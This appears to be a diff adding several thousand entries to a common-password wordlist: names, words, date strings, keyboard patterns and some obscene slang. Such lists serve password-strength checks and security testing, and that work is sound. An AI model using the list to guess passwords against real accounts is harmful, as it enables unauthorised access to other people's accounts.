+joonas
+jimbos
+jiji
+jesuit
+jesucrist
+jenny69
+jeepman
+jazzbo
+jake123
+jake01
+jailbait
+iwanna
+iskander
+Ireland
+interact
+inkjet
+imperator
+ilovemom
+ilovekim
+iddqdidkfa
+ichiro
+ichabod
+howler
+hotpants
+Horny1
+hoopla
+honeyb
+holstein
+hogan1
+hjvfyjdf
+hillbilly
+hermos
+hellraiser
+hellomoto
+hellcat
+harvick
+happydays
+happyboy
+hankhank
+hammers1
+h4x3d
+gungho
+guerra
+gudrun
+gtfullam
+gremio
+greeks
+greed
+graffiti
+gracey
+gorman
+gordito
+google123
+gomer
+golf18
+godislove
+gobrowns
+Girls1
+gigolo
+ghzybr
+ghghgh
+ghbynth
+ghbhjlf
+gfgfgf
+gecko1
+gazza
+gatech
+garrett1
+gardenia
+ganymede
+gametime
+gameon
+gallop
+gabbie
+Fuckyou1
+FUCKER
+FUAqZ4
+Front242
+frigid
+frehley
+freestyl
+freenet
+frdfhbev
+frankfur
+fourfour
+fortytwo
+fortune12
+forensic
+fore
+floria
+fktrcfylhjdyf
+firefighter
+finley
+findme
+files
+filbert
+fidget
+ferari
+felip
+favorit
+farmall
+fantasy1
+fabienn
+excel
+evely
+erick
+erhfbyf
+engel
+eggs
+EFBCAPA201
+Edward1
+Edward
+eatmeraw
+easy123
+Eagle1
+eadgbe
+dunk
+duckling
+dthyjcnm
+drumline
+dreamon
+dread
+drdoom
+dragon66
+dragon2
+downey
+Douglas
+donger
+docto
+dmitrii
+Diver
+dispatch
+disc
+dingus
+dimensio
+dfczdfcz
+dexter1
+devilmaycry4
+devildriver
+deusex
+desade
+derfderf
+DENIS1
+deneme
+demian
+defiant1
+defence
+deamon
+deadlift
+dcpugh
+Dbrnjhbz
+dbrekz
+dbnfkbq
+davey
+darla
+danni1
+d6o8Pm
+d123456
+cxfcnmttcnm
+cthuttdyf
+cristo
+crazyZil
+craig1
+cozumel
+COWBOYS
+cover
+cosita
+coronado
+coolie
+cool99
+controls
+connery
+concha
+compusa
+combat123654
+colibri
+cnhjqrf
+clones
+climb
+claudius
+cjrjkjdf
+christy1
+CHRIS
+choclate
+chipie
+chic
+chevyz71
+cherish
+cheeto
+checkmate
+charmed1
+cH5Nmk
+cdtnrf
+cdtnjxrf
+caviar
+castaway
+cashmere
+Captain
+candy2
+campos
+calhoun
+Calgary
+cachondo
+bysunsu
+BULLDOG
+bulldo
+budge
+bud420
+buckster
+britain
+brit
+brave
+booyaa
+boobo
+bonds
+bommel
+bmw325i
+blueyes
+bluefin
+blue55
+Blizzard
+blister
+blacktop
+blackshe
+blackber
+binkie
+billyjoe
+bigbuck
+bibibi
+bharat
+beszoptad
+bess
+berenice
+bennet
+bellevue
+bella123
+beasts
+bear123
+bbb747
+bathroom
+bassline
+basics
+bartende
+barnet
+bark
+bare
+barca
+barbie1
+ballss
+ballgame
+baller1
+bakery
+baikal
+badger1
+babygirl1
+atybrc
+attica
+asterios
+assmaste
+assa
+Asdfghjkl
+asdfas
+as1234
+arsen
+archive
+aqswde
+apocalypse
+anonim
+Angels
+ANGEL
+ameli
+alpacino
+alma
+alligato
+alici
+alex99
+alex13
+african
+adagio
+acUn3t1x
+aceshigh
+abpbrf
+abigail1
+abdul
+9inches
+9191
+89231243658s
+852147
+7BGiQK
+7625
+75395
+747747
+7070
+6string
+69a20a
+6868
+654456
+5rxyPN
+55556666
+5550123
+5544
+5472
+4z34l0ts
+4564
+4539
+4356
+4223
+41414141
+4114
+3939
+38253825
+333111
+325325
+311287
+311089
+311077
+310879
+31081971
+31071995
+3107
+310590
+310392
+310389
+310186
+310182
+31011975
+301284
+301084
+30101976
+30091993
+300884
+3008
+300791
+300787
+30071978
+300680
+30061995
+30051977
+30051975
+30051963
+300484
+30041974
+300383
+30031972
+300186
+30011998
+30011994
+30011975
+291290
+29121973
+291185
+29111979
+290986
+29091974
+29081993
+290777
+29071977
+290684
+29051972
+290489
+29041972
+29031978
+29011979
+282860
+281287
+28121974
+281188
+281186
+280983
+28091976
+280789
+28061994
+28061980
+28051982
+28051974
+2804
+280387
+271282
+271190
+27111977
+27101994
+27101974
+2710
+270990
+27091977
+27061994
+270588
+270587
+270581
+270578
+27051978
+27051974
+2705
+27041976
+270375
+27031997
+27031977
+27021980
+2627
+261291
+261282
+261190
+26111974
+26101994
+260984
+26091993
+26091972
+260784
+260782
+26071975
+260690
+260581
+26051973
+260484
+26041995
+260389
+26031995
+260291
+25962596
+251183
+251179
+251090
+25081996
+250791
+250683
+25051973
+25051972
+250479
+25041996
+25041973
+250291
+250285
+250180
+241280
+241087
+24101997
+24101971
+240981
+24091974
+240888
+24081975
+24071993
+24071972
+240483
+2404
+24031979
+240192
+240188
+232629
+2326
+231282
+23121979
+23121978
+231192
+231087
+23101977
+230994
+230991
+230984
+23091972
+2309
+23081994
+230784
+23071971
+230683
+23061977
+23049307
+23041974
+230387
+23031977
+23031976
+230293
+230285
+230280
+23011974
+225522
+2235
+221282
+22101995
+22101977
+22101976
+22101973
+220980
+220885
+220881
+220879
+22081997
+220693
+220684
+22051977
+22051971
+220491
+22031972
+220293
+220272
+2114
+211282
+211189
+211092
+21101979
+21101975
+21091978
+21091976
+21071977
+21061994
+2105
+210484
+210482
+210389
+210289
+210181
+203040
+2020327
+201179
+20111995
+201082
+201079
+200984
+200982
+200883
+200879
+20081969
+20071995
+20071972
+200686
+200683
+200485
+200482
+200390
+200387
+20031996
+20021996
+20021971
+200181
+20011975
+20011970
+20011968
+1z2z3z
+1Aaaaa
+198200
+198000
+19551955
+19501950
+19481948
+19371937
+19111975
+19101975
+19091972
+19081971
+19071976
+19071971
+19051971
+19031975
+19021994
+19011974
+18821221
+181288
+18121975
+181192
+181191
+181188
+181183
+18111978
+18101978
+18101977
+180880
+18081995
+18081994
+18081993
+180589
+18051979
+180488
+180482
+18041973
+180191
+18011997
+1777
+171288
+17121996
+17121994
+17121976
+171190
+17111974
+17101994
+17101975
+170979
+17071996
+17051973
+170490
+170487
+17041976
+17031972
+1701d
+161291
+161286
+1612
+160986
+160879
+16081972
+160791
+160783
+160689
+160581
+160484
+160479
+16031971
+16021995
+160185
+16011974
+152535
+151290
+151284
+151186
+151151
+15111975
+15111972
+151076
+150980
+15091980
+150891
+150690
+150587
+15041996
+15041995
+15041974
+150387
+150380
+15031977
+15031972
+150285
+150186
+15001500
+1437
+141286
+14121970
+141188
+141187
+14111996
+14101971
+140892
+140785
+140782
+140779
+14071972
+140590
+140584
+140580
+140480
+140390
+140384
+14031974
+140180
+14011977
+13571357
+134679258
+1314
+13121994
+13121973
+13111975
+13111974
+13111973
+13101977
+13101976
+13101974
+13101972
+130992
+130881
+13081970
+130787
+130776
+13071970
+130691
+130678
+13061994
+13061975
+1306
+130590
+130582
+13051977
+130481
+13041995
+13041977
+13041976
+130391
+130384
+130288
+13021996
+13021973
+12monkey
+12e3E456
+127127
+12345zxcvb
+123456qaz
+12345678z
+12345678c
+123456789x
+123345
+12312345
+12134
+121275
+121269
+121081
+121080
+120881
+120880
+120781
+120780
+120681
+120384
+120377
+120289
+120189
+120182
+12011973
+1169
+1133
+11223344q
+111888
+111286
+111283
+11121977
+111191
+11101978
+11081994
+110791
+11071996
+110692
+110480
+11041978
+110292
+110185
+11011979
+101292
+101288
+10111994
+1010810108
+100889
+10081995
+10051996
+10051995
+10041978
+100392
+091281
+09091978
+090890
+09081996
+09081976
+09081975
+09081974
+090787
+090684
+09061974
+09041974
+090383
+08121979
+08121973
+081086
+08101978
+08101976
+08101974
+080988
+08082008
+08071977
+080688
+080687
+080585
+08051981
+08041975
+080380
+08011979
+071284
+07121993
+07121976
+071186
+07111975
+07111973
+07111972
+07101993
+07101976
+07091993
+07072007
+070690
+070682
+070189
+07011976
+06121995
+06121974
+06101995
+06091994
+06091974
+060888
+060885
+06061996
+06061993
+06061976
+06051979
+060485
+06031978
+06031973
+06011974
+05121982
+05121977
+05121976
+051183
+05111977
+051084
+05101991
+05101972
+05081974
+050683
+0506
+05041996
+05041975
+0504
+05031995
+05031978
+05021977
+05011994
+04121994
+041179
+04111974
+041089
+04101993
+040989
+04091994
+040890
+040783
+040780
+04071978
+04061995
+04051979
+040485
+040482
+040480
+04031997
+04031995
+04021973
+040188
+04011975
+031184
+03111994
+03091978
+03091976
+030877
+030786
+03051973
+030385
+03021974
+021290
+02121974
+021184
+021181
+021084
+021065
+02091994
+020784
+0206
+020484
+02032010
+02022011
+0201
+011286
+0112
+01111993
+01101977
+01092008
+01071977
+01041973
+010195
+010177
+010172
+010168
+0070
+0044
+zxcvbnmm
+zSMJ2V
+zealot
+zaza
+zanoza
+yy5rbfsc
+ytreza
+YELLOW
+Yankees1
+xsw23edc
+xerox
+xavier1
+Xavier
+xakep1234
+wulfgar
+wrinkle5
+wrest666
+wotan
+wish
+winslow
+wexford
+wetone
+westwind
+westbrom
+wells
+weiser
+weener
+walt
+wall
+vredina
+voodoo1
+volition
+vitalya
+violence
+vikavika
+vfrfhjys
+vermin
+verizon1
+veritech
+venkat
+vehpbkrf
+vavilon
+uwrL7c
+utyyflbq
+umberto
+ukflbjkec
+uGEJvp
+tyler2
+tweeker
+tribe1
+treetops
+travesti
+tranmere
+train1
+tragic
+tooter
+toodles
+tomoko
+tino
+timex
+Tiffany
+tiesto
+thrash
+thorn
+thatsit
+tgbyhn
+testing123
+tempus
+teleport
+teetime
+teenager
+teddy2
+teddy123
+tatanka
+tanstaaf
+tampa
+talon1
+svetlanka
+suzy
+super8
+sunstar
+sunghile
+suka123
+suchka
+studio54
+stromb
+strokes
+straycat
+steinway
+stefa
+stealth1
+sparkie
+spacey
+southend
+souris
+sorrento
+sonechka
+soap
+smiling
+smallvil
+sleepers
+slade
+skyking
+skooter
+skates
+sinfonia
+simson
+simbas
+silvio
+Silver1
+sigmanu
+siemen
+sickan
+sicily
+shotgun1
+shorty1
+shootme
+shlong
+shipyard
+shimmy
+sherpa
+sherman1
+sharkey
+shagger
+shadows1
+sex666
+serendip
+serdar
+senha123
+seldom
+section
+seagulls
+seagrams
+screwed
+schlampe
+saveme
+savana
+satana666
+santosh
+sandy123
+samsung2
+sami
+sallad
+salamat
+saitek
+saint1
+sailor1
+rulz
+ruffryde
+rudi
+rudder
+rubyruby
+rottweil
+rottie
+rosebowl
+roofing
+romanroman
+robbie1
+robbi
+ritchie
+ripcurl
+riker1
+Richard1
+ribbon
+rfn.irf
+rfhfufylf
+rerecz
+regiment
+reese
+redondo
+redford
+recoil
+reaper1
+realtime
+ratpack
+ratbag
+rapids
+ranger99
+rammer
+Raistlin
+Rainbow
+Raiders1
+rahman
+radios
+radiator
+r123456
+qweqwe123
+qwedcxzas
+qw12er34
+qw1234
+quint
+quiet
+quark
+qqq123
+QcFMtz
+qazxs
+Q9uMoz
+punkie
+ptfe3xxp
+psalms
+programmer
+prizrak
+primer
+possible
+porsch
+poplar
+pongo
+pollen
+polaris1
+pokemon12
+podaria
+plumper
+plplpl
+pingping
+pigs
+piggy1
+piano1
+phydeaux
+phred
+phoeni
+phiphi
+phaser
+persia
+pershing
+perros
+pentium4
+penney
+peeker
+pedigree
+paypal
+payback
+patriot1
+passwor1
+passw0r
+passss
+passmaster
+painkiller
+packrat
+Pa55word
+p3WQaw
+p12345
+p00kie
+orion2
+opened
+opel
+oneway
+onelove1
+OMAR10
+olya
+olga123
+offsprin
+October
+note1234
+nokia5310
+nochance
+NISSAN
+nigga1
+nick123
+nick12
+newyor
+newports
+nazareth
+nataliya
+natacha
+nastyboy
+nascar88
+nalgas
+nail
+nafnaf
+naciona
+myriam
+my3kids
+muster
+mustang7
+MrBrownXX
+mpower
+montego
+monstr
+monaro
+mof6681
+moby
+mobius
+mnbvc
+mitch1
+misskitt
+misato
+minnow
+minni
+millennium
+milkbone
+milesd
+midian
+michelin
+mica
+mgoblue
+mexicano
+megamanx
+mavrick
+maverik
+maui
+matman
+matlock
+math
+matematika
+master99
+martin12
+mark1234
+mark12
+maritime
+MARINE
+maribe
+maria123
+marcus1
+marconi
+marci
+marcell
+manisha
+mamuka
+mamit
+mallet
+malik
+majere
+mainman
+madzia
+madras
+madona
+madball
+mabel
+m6cJy69u35
+lynx
+lyle
+Lvbnhbq
+lustful
+luebri
+lucydog
+lsutiger
+lowlife
+lower
+loveu2
+lostone
+lonsdale
+lolly
+lizard1
+liverune
+lions1
+lifter
+lifesuck
+lickem
+letmeinnow
+Lestat
+leisure
+lastochka
+lasting
+larrys
+larry33
+lancers
+lada
+kuleshov
+koufax
+kolyan
+kinsey
+killer7
+killer2
+killall
+kickme
+kfylsi
+kfgekz
+kenton
+keebler
+katie123
+kati
+kasandra
+karups
+kariya
+kari
+kamran
+kacper
+just4you
+july23
+juicer
+juice2
+juergen
+jordans
+joker69
+john11
+JOHN
+johanne
+jody
+jobber
+jlaudio
+jkmuf
+jiujitsu
+jimmyd
+jeroen
+jenova
+jellyfis
+jedijedi
+jdeere
+jarred
+james23
+jack1
+JACK
+ishikawa
+irontree
+intranet
+intheass
+independent
+imperium
+ikarus
+idaho
+iamgay
+hyper
+huskies1
+humper
+humboldt
+hugecock
+huey
+howdy1
+hotrod1
+hotguy
+hoseman
+horsesho
+horns
+hoop
+history1
+hicks
+Hercules
+hendrix1
+helpdesk
+helloworld
+hellhell
+hellen
+heavyd
+heath
+heart1
+hayward
+haunted
+harry123
+happy69
+handler
+hamradio
+halohalo
+hadrian
+hadoken
+guita
+griffen
+gretel
+green5
+green3
+grasso
+grasshop
+grady
+goterps
+gossip
+goshen
+gordo1
+google12
+goodfellas
+good12345
+golova
+golf69
+golde
+go1234
+globe
+giulio
+gitler
+girls1
+gipper
+ghostrid
+gfnhbr
+getty
+gert
+gehrig
+garvey
+gander
+gabi
+g00ber
+fuckmenow
+fuckmeha
+fucklove
+fruits
+fromage
+friendste
+freebie
+Frank
+foxtrot1
+foucault
+followme
+flush
+fluffy1
+flowers1
+flore
+flatline
+flakes
+Fishing
+FIREMAN
+findout
+filipp
+fighters
+fiddler
+Fffffff1
+Ferrari1
+fenster
+farrah
+farhan
+Fantasy
+falcon16
+failure
+fabrice
+f3gh65
+f150
+external
+eugenia
+essex
+esmeralda
+enable
+emmaemma
+elmore
+egoist
+edelweis
+easier
+EAGLES
+eagleone
+dzdzdzdz
+durden
+dummy1
+dumber
+drummers
+drgonzo
+dragon76
+douglass
+doudo
+doozer
+doorway
+dominic1
+DOLPHINS
+dolly1
+dogstar
+dogbreat
+dog1
+dmoney
+dmitri
+dixiedog
+disciple
+dilshod
+digiview
+dicanio
+diaz
+dianka
+dgl70460
+depechemode
+dennis1
+denise1
+deliver
+deHpYE
+defamer
+deck
+deacons
+darthmau
+darkwolf
+dannie
+damia
+daisy123
+D6wNRo
+d1i2m3a4
+cumulus
+cummin
+cumalot
+crypto
+crossing
+crocodile
+creamer
+crazy123
+crackhea
+Courtney
+country1
+costarica
+corvus
+coronet
+cornbrea
+Cooper
+coope
+coolest
+cool1
+concerto
+coldfire
+coffey
+cochon
+clticic
+claus
+clarity
+clare
+clair
+ckjybr
+cichlid
+churchill
+chubbs
+chrystal
+christof
+choose
+chinaman
+chinacat
+chicky
+chicken2
+Chgobndg
+chevy454
+cherr
+cheer1
+cheap
+chaucer
+charger1
+charcoal
+chaoss
+change1
+chamonix
+centurion
+centaur
+celia
+cdjkjxm
+catt
+cass
+casey123
+caruso
+carousel
+carmen1
+CARLOS
+cannot
+canela
+candy123
+Campbell
+cabowabo
+cabbie
+buzzers
+burbank
+bullhead
+buddha1
+britney1
+bridges
+Brian1
+brethart
+breakers
+bratan
+bozobozo
+bookmark
+bono
+bongos
+bochum
+bobbyy
+bluemax
+blazed
+blackbea
+biotch
+bigdeal
+bigbill
+beware
+beryl
+berries
+bennett1
+benjie
+belochka
+bello
+bEeLCH
+bedtime
+bedpan
+Beatles
+bauer
+batterse
+bateau
+baranov
+bangers
+ballen
+babette
+awaken
+austin12
+Austin1
+aurelius
+asroma
+asq321
+Ashley1
+asdfg1
+arian
+apple12
+antman
+antilles
+anguss
+ANGELS
+andone
+Anderson
+anabolic
+amanda69
+alyssa1
+Alpha1
+almost
+ajem
+airhead
+airforce1
+agenda
+adrenaline
+aditya
+acerview
+abulafia
+abracada
+abel
+aa1234
+999111999q
+9788960
+9638v
+852741
+852123
+82468246
+774411
+7550055
+6CHiD8
+69966996
+667788
+56Qhxs
+555999
+54132442
+4ZqAUF
+4Wwvte
+4rkpkt
+4660
+456789123
+456123789
+4488
+43434343
+4071
+3sYqo15hiL
+3MPz4R
+3ki42X
+335533aa
+326598
+321987
+3141592654
+31121978
+311085
+310789
+310780
+31071996
+310591
+310584
+3105
+31031977
+31031970
+310191
+31011981
+3101
+30121976
+30121971
+301191
+301081
+30101993
+3010
+300986
+30091971
+30081977
+30071973
+30061998
+30061973
+300589
+300491
+300488
+300485
+300384
+30031980
+300189
+300188
+300000
+2n6Wvq
+2hot
+291188
+291183
+291182
+29111978
+29101995
+29101994
+290982
+290891
+290881
+29081978
+29071970
+290691
+29061978
+29061971
+290586
+29051994
+29051975
+290490
+29011994
+29011972
+281289
+2812
+281092
+281084
+28091975
+28081997
+28081996
+28081974
+28071995
+280587
+28051975
+28051973
+280489
+280381
+280290
+280288
+280284
+28021997
+28021976
+28011994
+28011972
+27121976
+27121975
+271178
+27111975
+271086
+27091993
+27091974
+27091971
+27081978
+27081975
+270783
+27071976
+270686
+270682
+27061977
+270584
+270489
+270484
+270384
+270292
+27021973
+261185
+26101975
+260982
+26081978
+2608
+260783
+260779
+26061978
+26061974
+260486
+260481
+26041976
+26031978
+26031973
+26031970
+260288
+260282
+260182
+2600
+256256
+2536
+252627
+251287
+251190
+251081
+25101980
+25101979
+25101976
+25101974
+250892
+250888
+250885
+250869
+25081976
+25081975
+25071995
+250574
+25041971
+25021977
+25021974
+25011974
+24121994
+24121977
+24121975
+241184
+241178
+24111994
+24101976
+240991
+24091975
+240882
+24081994
+24081976
+24071975
+24061995
+240592
+240589
+24051995
+24041996
+24031974
+2403
+24021996
+240184
+24011996
+2366
+2355
+231285
+23121997
+23121975
+231181
+23111972
+231092
+231084
+231079
+23101978
+230985
+230786
+230781
+23071994
+23071972
+230587
+230575
+23051972
+23051971
+230489
+23041994
+23021966
+230186
+22442244
+2232
+22121976
+221181
+221176
+221088
+221081
+220983
+22091995
+22091975
+220889
+220783
+22071997
+220681
+220641
+22051996
+22051973
+22041975
+220393
+220283
+220278
+22021979
+22021975
+22021971
+22011996
+21252125
+211183
+21111993
+21111977
+211084
+210993
+21091995
+21091970
+210892
+210889
+210887
+210886
+210880
+21081993
+2108
+2107
+210683
+21061996
+21061977
+210584
+21051977
+210492
+21041976
+21031968
+210285
+21021997
+201294
+201288
+20122012
+201183
+20101971
+200981
+20091996
+200885
+20081976
+20081974
+200779
+20071998
+200687
+20061972
+20051997
+20051968
+200490
+200388
+20031998
+20031994
+20031977
+2002tii
+200189
+1Harley
+199
+197979
+1972chev
+197000
+19411941
+19391945
+1938
+1921
+191283
+191186
+19101995
+19101972
+190991
+19081977
+190791
+19071978
+19061998
+19061993
+19041995
+19031978
+1903
+19021974
+18811881
+18101976
+18091976
+180881
+18081974
+180783
+180782
+180682
+18061973
+180585
+180583
+180486
+180479
+18041975
+18031998
+18031975
+18021995
+18021970
+180182
+180181
+18011996
+1750
+171819
+171283
+17111975
+171081
+17101997
+17091975
+170890
+17071974
+170591
+170580
+170396
+170389
+17031980
+17031974
+1703
+170282
+17021972
+1702
+170180
+161273
+16121972
+161185
+161183
+16111995
+161091
+161088
+161082
+16101977
+160988
+160987
+160894
+160889
+160785
+16071975
+160690
+160684
+160677
+160591
+16051975
+160485
+16041976
+160389
+16031979
+160295
+160283
+16011979
+159874
+1580
+153426
+151285
+151282
+15121976
+151181
+15101973
+15091976
+15081975
+15081973
+15081972
+15071996
+15071972
+150691
+150680
+15061979
+150492
+150391
+150293
+150286
+15021973
+150188
+150184
+15011975
+1421
+14121976
+141196
+141185
+14111980
+14101972
+140989
+140882
+140679
+140474
+140389
+140382
+14031973
+140278
+14021973
+1401
+1340
+13091993
+130791
+130690
+130592
+130584
+13051994
+130485
+130480
+130479
+13041971
+130393
+13031970
+130186
+130182
+1280
+1260
+12541254
+1250
+123dan
+12345as
+123459876
+123456i
+123456789qqq
+1233214
+121181
+121180
+12111993
+12111975
+121076
+12101969
+120894
+120891
+120787
+120773
+12071972
+120692
+120592
+12051977
+12041996
+120380
+120376
+12021976
+120184
+120179
+120174
+1175
+1170
+1145
+114411
+111284
+1112131415
+11111972
+11111971
+110881
+110879
+11081974
+11071976
+110690
+110681
+11061971
+110492
+110491
+110483
+110377
+110187
+110186
+1075
+1066ad
+1063
+1044
+101290
+101281
+10121973
+10121972
+101184
+10111976
+101094
+101069
+100989
+100983
+10091971
+100789
+10071974
+100684
+10061996
+10051976
+10051975
+10051973
+100492
+10041971
+100383
+10031977
+100280
+100275
+10021971
+10012000
+10011976
+098123
+0916
+09121971
+091083
+09101996
+09101975
+09091973
+09091972
+090909t
+090887
+09081971
+09061995
+09061971
+09051972
+09041977
+09031977
+081285
+081281
+081090
+080890
+08081975
+08061994
+08051976
+0805
+08011998
+08011994
+08011973
+07121972
+071181
+07111996
+0710
+07081972
+07081963
+070688
+07061979
+07061978
+07061973
+07061972
+07051994
+07041994
+07031994
+07031973
+0624
+0623
+061286
+061282
+06121976
+06121975
+06111994
+061079
+06071995
+060692
+060688
+060684
+06061969
+0606
+060482
+060479
+06041977
+06021978
+06021977
+05121992
+0511
+05101994
+05101977
+05101976
+05091996
+0509
+050891
+050880
+050589
+050370
+05031998
+050283
+050183
+05011975
+043aaa
+041083
+04101971
+04071995
+0407
+040686
+04051993
+04031976
+0330
+0323
+031285
+03111976
+03111974
+03111971
+031081
+03101996
+030982
+03091977
+030894
+03081970
+030784
+03071976
+030689
+03051968
+030487
+03041998
+03041973
+030394
+03032008
+021288
+021190
+02111976
+021088
+021086
+021083
+021078
+02101994
+020884
+020783
+020687
+020587
+020379
+02032008
+020290
+020274
+02011994
+01121993
+011089
+011086
+01101976
+0110
+010990
+01092006
+01092005
+010890
+010883
+010788
+010786
+01071996
+010683
+01061995
+01061971
+010584
+01051967
+01051965
+01041998
+01041970
+01031970
+01031966
+010290
+010280
+01021998
+01021972
+010182
+010173
+01011997
+00133
+zvbxrpl
+zinedine
+zemfira
+zaskar
+zaq1zaq1
+zaharov
+yvtte545
+yuki
+yoyoyoyo
+youwish
+year2000
+YAMAHA
+XXXXXXXX
+xxxxxx1
+wrecker
+wpF8eU
+wormwood
+woobie
+witches
+winsto
+winkie
+willing
+whatnot
+westlake
+welcome123
+weaponx
+watchmen
+wantsome
+walter1
+wallace1
+vyjujnjxbt
+Vladimir
+vlad1997
+VKaxCS
+viviana
+vitali
+virgo1
+ville
+vfkmdbyf
+vermont1
+vcRaDq
+vaz2109
+vasileva
+uyxnYd
+updown
+update
+unholy
+underpar
+ulisse
+ukflbfnjh
+uiop
+type40
+tyler123
+tutu
+turing
+TrS8F7
+tropic
+trivial
+tripping
+triforce
+trickle
+treeman
+transformers
+transam1
+tombston
+tishka
+tigger69
+tigerman
+tiger69
+Tiger1
+TIGER
+Tiffany1
+thorpe
+thor5200
+therese
+theboy
+test01
+temptemp
+techie
+tbone1
+tatung
+taters
+tarheel1
+tanja
+talons
+talking
+takeshi
+tajmahal
+t4NVp7
+synapse
+sweetie1
+sweep
+surfers
+supervisor
+superduper
+super7
+stuffy
+strummer
+strekoza
+stomp
+stewar1
+stephie
+stephe
+STEELERS
+starlet
+star11
+star1
+stacy1
+sr20det
+squiggy
+springst
+spoon1
+spinning
+spicey
+spaz
+Sparky1
+spade
+solitari
+society
+snowy1
+snoogins
+snipe
+snail
+smoothy
+smith123
+slyfox
+slurpee
+slowride
+sleaze
+slaveboy
+skye
+skunky
+skipjack
+skate1
+simon123
+siemens1
+shirak
+shani
+sexyfeet
+sexse
+sexlover
+sevilia1
+semprini
+sellout
+Security
+secret12
+scruff
+scramble
+scarecro
+sassas
+sasha1996
+sarasota
+sansan
+sanity729
+sanibel
+sampras
+sammy12
+salvatio
+salut
+salty
+saleem
+salavat
+sadist
+RuleZzz
+rubies
+rossia
+rossi
+rosetta
+rootroot
+roman123
+rolan
+rodeo1
+rockport
+rockbott
+rjnjgtc
+rjdfktyrj
+riverside
+ricflair
+rfvbrflpt
+rfnzrfnz
+rfhfntkm
+rfhfcm
+rexona
+repmvf
+redwing1
+redriver
+redrider
+redcat
+recent
+raymon
+ratrat
+ramesh
+raffaele
+radioman
+rache
+r3ady41t
+qwerty66
+qweasdzxc1
+quicksan
+quake2
+PzaiU8
+pynchon
+purple12
+pupuce
+pulley
+protein
+protege
+professo
+precious1
+prairie
+pradeep
+pornsite
+porche
+ponies
+polecat
+pole
+pN5jvW
+pledge
+PLAYER
+phuong
+phelps
+pfchfytw
+perv
+peoria
+pennys
+pendragon
+Peanut
+peaces
+paulette
+paulchen
+paul12
+paterson
+pasquale
+panties1
+PANTIES
+pallino
+packers4
+oZlQ6QWm
+owned
+outlook
+outlawz
+ouch
+oRNw6D
+only4me
+onkelz
+omegas
+ollie1
+oakwood
+novartis
+nosaj
+nortel
+nomad1
+NnAgqX
+njQcW4
+njnets
+njkcnsq
+nikkie
+nikiniki
+nietzsch
+nfyufh
+NEWYORK
+neveragain
+nervous
+nelson1
+negras
+necron
+nbvjirf
+nanny
+nadin
+nabeel
+myfamily
+myers
+mugsy
+moveon
+Mother
+moren
+morehead
+moody
+monet
+mom4u4mm
+molotov
+moleman
+mode
+modano
+mocha1
+miramar
+mimi92139
+milwauke
+milleniu
+mikey123
+mike13
+mihaela
+mierd
+michaelj
+merkin
+melnik
+melkor
+mehmet
+megabyte
+mechta
+mcdonalds
+mcardle
+maxwel
+maxim1
+maumau
+mateo
+masterlo
+mass
+marvin1
+marusia
+marmot
+marlen
+mariso
+Marcus
+march1
+maplelea
+manger
+malcolm1
+malamute
+makita
+makelove
+mailto
+maggie2
+maddox
+m69fg2w
+Lover1
+loveporn
+lovell
+lovegirl
+loveboat
+lovebird
+love143
+louie1
+lookie
+london22
+lollone
+lkjhgfd
+lisa123
+lindas
+limabean
+lhepmz
+less
+lepton
+leonora
+lebedeva
+leanna
+layout
+lawless
+lars
+landrover
+lakers32
+lakeland
+lagoon
+labrat
+.ktxrf
+kroshka
+kristjan
+korona
+koolio
+koffie
+kobe24
+kiwikiwi
+kinger
+kimmy1
+Kenneth
+kemper
+kelsie
+kellyb
+keines
+kazbek
+kaufman
+katrina1
+Karina
+kamehameha
+kaizen
+kaikai
+k12345
+Justin1
+julianna
+juices
+jugs
+josefina
+joint
+johns
+johnpaul
+jodi
+jimenez
+jiggle
+jetset
+Jesus1
+jessica0
+jeanna
+jazzer
+JAGUAR
+jadakiss
+jacqueli
+Jackson1
+jackdani
+jack1234
+izabella
+issue43
+israe
+ironpony
+iqzzt580
+inTj3a
+infinit
+indians1
+ilya
+ilovehim
+ikilz083
+iceman69
+ICEMAN
+hzze929b
+hutton
+hunting1
+hunger
+hPk2Qc
+hotmom
+hotdamn
+hosehead
+horny2
+hoops1
+honeypot
+homey
+hoboken
+hobo
+hitomi
+hikaru
+heyman
+herzog
+herb
+henry14
+hendrik
+helicopt
+heel
+hecnfv
+heave
+Heather1
+hax0red
+harvey1
+harrie
+happys
+hansolo1
+HANNAH
+hammarby
+halley
+GWju3g
+guster
+gussie
+gthtcnhjqrf
+gsxr1100
+gsxr11
+grunge
+grouch
+greddy
+gravy
+grange
+goodtogo
+gonzale
+golgo13
+Golfer
+golf72
+gold123
+goggles
+godgod
+gobills
+glock22
+giselle
+girlss
+girlgirl
+ginuwine
+gino
+Ginger1
+gfccdjhl
+gblfhfcs
+gavrik
+Gateway1
+garci
+gangstar
+gala
+gabriel2
+gabe
+g9zNS4
+fynjif
+fyfrjylf
+fullsail
+fuckass
+froggies
+fritter
+freeride
+fred1
+frame
+foxbat
+forgotte
+forest11
+florin
+flicka
+flair
+Fktrctq
+fighton
+fhntvbq
+fhntv1998
+fgntrf
+ferdinand
+federic
+feb2000
+FDM7ed
+fcporto
+fastback
+familyguy
+evolve
+evidence
+evgesha
+estella
+esperanz
+esoteric
+ernie1
+erickson
+ePVjb6
+enzo
+englan
+eljefe
+elfquest
+elektro
+elegance
+elanor
+eistee
+eieio
+edwar
+echelon
+earnhardt
+eagleeye
+durango1
+dupont24
+dunamis
+driver1
+dragon21
+dozer
+dongle
+Dolphins
+dogfight
+doc123
+djdxbr
+didit
+diciembr
+dfcmrf
+devlin
+derek1
+deerhunter
+December
+deathsta
+deadmeat
+Ddddd1
+dbrnjhjdbx
+darrin
+danuta
+danthema
+dano
+danil8098
+daniela1
+DAKOTA
+daddio
+daboss
+D1lakiss
+curve
+curtis1
+cthulu
+crushed
+CountyLi
+corran
+copycat
+COOPER
+coonass
+cookie12
+contrast
+connie1
+compaq12
+comic
+colt1911
+cologne
+colleen1
+colin1
+colder
+cocoloco
+clambake
+cjcbcrf
+cities
+cirque
+christos
+chrisp
+chrisc
+chris22
+chosen1
+chop
+chochoz
+chesterfield
+cherub
+chelsie
+check1
+chairs
+cfifcfif
+cellphon
+Casper
+casey2
+carolcox
+carey
+canes1
+Canada
+caller
+caliber
+cakes
+cabin
+cab4ma99
+butte
+buster11
+bulova
+bulgaria
+bueno
+budbud
+buckle
+Bubbles
+bruin
+BROOKLYN
+brianne
+brass
+brandon2
+boxer1
+borris
+booner
+boogie1
+bonebone
+bollock
+bobbijo
+boards
+bluegras
+bluearmy
+blue25
+bless
+bjorn
+bitch69
+bitch123
+birdbird
+bigwilly
+bigtymer
+bigbass
+bent
+benji1
+beethoven
+beasty
+bayside
+battlefield
+batman2
+baseba11
+barking
+barbos
+banking
+bangor
+ballon
